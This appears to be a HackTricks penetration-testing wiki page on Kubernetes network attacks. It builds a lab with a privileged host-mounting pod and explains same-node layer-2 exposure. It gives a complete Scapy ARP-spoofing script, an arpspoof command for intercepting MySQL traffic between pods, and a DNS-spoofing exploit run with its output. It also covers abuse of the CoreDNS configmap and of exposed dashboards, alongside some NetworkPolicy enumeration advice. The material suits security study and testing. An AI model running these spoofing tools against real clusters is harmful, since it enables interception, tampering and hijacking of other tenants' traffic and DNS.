# Kubernetes Network Attacks

{{#include ../../banners/hacktricks-training.md}}

## Introduction

In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.

ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.

In the scenario 4 machines are going to be created:

- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace

```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-pe
spec:
  containers:
    - image: ubuntu
      command:
        - "sleep"
        - "360000"
      imagePullPolicy: IfNotPresent
      name: ubuntu-pe
      securityContext:
        allowPrivilegeEscalation: true
        privileged: true
        runAsUser: 0
      volumeMounts:
        - mountPath: /host
          name: host-volume
  restartPolicy: Never
  hostIPC: true
  hostNetwork: true
  hostPID: true
  volumes:
    - name: host-volume
      hostPath:
        path: /
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-attack
  labels:
    app: ubuntu
spec:
  containers:
    - image: ubuntu
      command:
        - "sleep"
        - "360000"
      imagePullPolicy: IfNotPresent
      name: ubuntu-attack
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-victim
  namespace: kube-system
spec:
  containers:
    - image: ubuntu
      command:
        - "sleep"
        - "360000"
      imagePullPolicy: IfNotPresent
      name: ubuntu-victim
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: mysql
spec:
  containers:
    - image: mysql:5.6
      ports:
        - containerPort: 3306
      imagePullPolicy: IfNotPresent
      name: mysql
      env:
        - name: MYSQL_ROOT_PASSWORD
          value: mysql
  restartPolicy: Never' | kubectl apply -f -
```

```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```

## Basic Kubernetes Networking

If you want more details about the networking topics introduced here, go to the references.

### ARP

Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.

This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).

> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**

### NetworkPolicy and admin policy layers

Kubernetes `NetworkPolicy` is a pod traffic control at L3/L4, but it is enforced by the CNI plugin and not by the API server itself. A cluster can store NetworkPolicy objects while still allowing traffic if the active CNI does not implement them, so always validate with a controlled allowed source and a blocked negative-control source.

Do not stop at `kubectl get networkpolicy -A`. Clusters using Cilium, Calico, OVN-Kubernetes, Antrea, or managed-provider dataplanes may also have policy APIs such as `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, or `BaselineAdminNetworkPolicy`. These can add explicit deny, tier/order, cluster scope, L7/DNS rules, or admin guardrails that ordinary additive Kubernetes NetworkPolicy semantics do not explain.

Useful first checks:

```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```

For bypass analysis, check whether the intended block is avoided through an allowed proxy, DNS or egress gateway, `hostNetwork` pod, node-local path, broad namespace or pod label selector, or a higher-precedence admin/global policy. Report the source pod labels, namespace labels, destination Service or EndpointSlice, CNI/policy implementation, deciding policy rule, and traffic proof.

### DNS

In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:

```bash
kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
                   kubernetes.io/cluster-service=true
                   kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
                   prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153
```

In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**

If you check the DNS address inside any pod you will find something like this:

```
cat /etc/resolv.conf
nameserver 10.96.0.10
```

However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.

Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.

> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.

> [!NOTE]
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.

## ARP Spoofing in pods in the same Node

Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.

### Scapy

```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```

```python:arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
	arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
	targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
	return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
	spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
	send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
	packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
	send(packet, verbose=False)
	print("ARP Table restored to normal for", targetip)

def main():
	targetip= input("Enter Target IP:")
	gatewayip= input("Enter Gateway IP:")

	try:
		targetmac= getmac(targetip)
		print("Target MAC", targetmac)
	except:
		print("Target machine did not respond to ARP broadcast")
		quit()

	try:
		gatewaymac= getmac(gatewayip)
		print("Gateway MAC:", gatewaymac)
	except:
		print("Gateway is unreachable")
		quit()
	try:
		print("Sending spoofed ARP responses")
		while True:
			spoofarpcache(targetip, targetmac, gatewayip)
			spoofarpcache(gatewayip, gatewaymac, targetip)
	except KeyboardInterrupt:
		print("ARP spoofing stopped")
		restorearp(gatewayip, gatewaymac, targetip, targetmac)
		restorearp(targetip, targetmac, gatewayip, gatewaymac)
		quit()

if __name__=="__main__":
	main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```

### ARPSpoof

```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```

## DNS Spoofing

As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.

You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)

In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts`** with the **domains** you want to **spoof** like:

```
cat hosts
google.com. 1.1.1.1
```

Perform the attack to the ubuntu-victim machine:

```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```

```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1
```

> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).

## DNS Spoofing via coreDNS configmap

A user with write permissions over the configmap `coredns` in the kube-system namespace can modify the DNS responses of the cluster.

Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.

Check more information about this attack in:

{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}

## Abusing exposed kubernetes management services

Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them.

## Enumerating kubernetes network policies

Get configured **networkpolicies**:

```bash
kubectl get networkpolicies --all-namespaces
```

Get **Callico** network policies:

```bash
kubectl get globalnetworkpolicy --all-namespaces
```

Get **Cillium** network policies:

```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```

Get other policy-related CRDs installed by your network plugin or security solution:

```bash
kubectl get crd | grep -i policy
```

## Capturing Traffic

The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).

## References

- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)

{{#include ../../banners/hacktricks-training.md}}

